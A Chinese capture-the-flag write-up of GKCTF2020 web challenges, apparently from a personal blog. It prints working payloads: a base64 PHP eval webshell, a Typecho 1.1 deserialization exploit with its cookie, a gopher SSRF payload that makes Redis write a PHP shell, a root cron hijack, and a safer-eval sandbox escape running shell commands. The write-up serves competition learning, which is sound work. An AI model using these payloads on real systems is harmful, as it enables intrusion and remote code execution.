[GKCTF2020]Web 部分Write-Up

/ 0评 / 0

 

[GKCTF2020]CheckIN

传入的参数会base64解密,所以加密直接传个shell

url?Gingo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=

蚁剑连接有disable_function,插件绕不过去。传个php文件包含执行下根目录的/readflag

找到一个不知道啥时候存的php绕过

https://github.com/mm0r1/exploits

改成/readflag 包含下就有了


[GKCTF2020]老八小超市儿

shopxo cms 搜一下有个后台getshell

后台默认口令admin shopxo登录。

在主题包写入shell上传,getshell

IP/public/static/index/default/xxx.php

上去发现flag在root。用户是www-data(以为提权但是不会

根据昨天BJD经验:ps aux 发现一个auto.sh

读一下

会执行一个python文件,打开后发现python是写入某些内容到文件,并且我们可以编辑,而auto.sh是root用户运行,每60S运行一次。所以改python就行

s=os.popen('cat /root/flag').read()

等60S在根目录的hint.txt拿到flag


[GKCTF2020]cve版签到

cve-2020-7066和昨天BJD3考点重复了,所以看到首先就试了这个

先用http://127.0.0.1%00.ctfhub.com 构造访问 返回头有一个hint:flag在localhost

发现HOST结尾需要123.

首先想到的是开一个linux构造一个请求头。。

发现啥用没有,测了半天测出来一个xss

以上都是废话,后来根据HOST:123找思路,尝试构造http://127.0.0.123%00.ctfhub.com

拿到flag


[GKCTF2020]EZ三剑客-EzTypecho

typcheo1.1的反序列化链子。与网上的对比了下发现没区别。直接拿来打了

https://p0sec.net/index.php/archives/114/

有个坑点是触发点不是在finish。因为安装不上,触发点在start

<?php

class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array('screenName'=>'file_put_contents(\'ha1c9on.php\', \'<?php @eval($_POST[1]);?>\')');
    private $_filter = array('assert');
}

$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));

Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjE6ImZpbGVfcHV0X2NvbnRlbnRzKCdoYTFjOW9uLnBocCcsICc8P3BocCBAZXZhbCgkX1BPU1RbMV0pOz8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjc6InR5cGVjaG8iO30=

加下referer头。生成shell,flag在根目录


[GKCTF2020]EZ三剑客-EzWeb

F12有<!--?secret-->

给了内网IP。对题目的判断是ssrf。所以先扫了一手端口,没东西

-------- 做了一会儿其他题回来又猜测是不是内网,扫了一手ip+1端口发现6379端口开放

redis+ssrf,未授权访问。

构造gophar:

gopher%3a%2f%2f173.214.82.11%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252427%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

生成shell.php

?url=173.214.82.11/shell.php?cmd=show_source(\"/flag\");


[GKCTF2020]EZ三剑客-EzNode

和NPUCTF题很像,这题是最后做的。。 node题也没啥思路,看起来是个沙盒逃逸。关于safe_eval的,去safer-eval的issue里查一下,试了几个打不通(我太菜了),因为和NPU的note题代码很像。时间不够了,就想着找一下npu的payload。

在github搜到一个npu的,打了下打通了。。

import requests

print(requests.post('http://79e42cd0-d42c-4ede-896d-3c83babb9a98.node3.buuoj.cn/eval?delay=2147483649', data={
    'e': """(function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()"""
    }).text)

赛后重新研究了下这题的大概原理
我们可以注意到关键代码:

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {
      }
    }, 1000);
  } else {
    next();
  }
});
没学过node可以大概了解,传入的东西需要先进入app.use函数检测。
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);

这里可以注意到,使用Number.isInteger()函数判断是否为整数,内嵌套了[parseInt() 函数可解析一个字符串,并返回一个整数。]
然后取delay值为最大的整数。
进行 const t = setTimeout(() => next(), delay);

所以梳理一下逻辑:
delay = Math.max(delay, parseInt(req.query.delay));,
这个函数过了以后 delay被赋值为 2147483649
然后进const t,因为解析不了这么大的数造成整数溢出,
本地测了下会报错:
(node:19036) TimeoutOverflowWarning: 2147483650 does not fit into a 32-bit signed integer.
Timeout duration was set to 1.

所以delay会直接设置成1,也就是1ms。而1ms====0,直接进入next()下一步
而next()函数是直接进入下一个路由
也就是

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

[GKCTF2020]签到

直播间flag


[GKCTF2020]Pokémon

玩游戏 flag在103号道的草


[GKCTF2020]问卷调查

填完就有flag


[GKCTF2020]小学生的密码学

仿射密码解密

找个脚本一把梭


[GKCTF2020]汉字的秘密

当铺密码+ASCII+1+2+3+4......


打完两天比赛发现自己还是好多知识没掌握,买了一些基础书打算好好把基础巩固下。。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注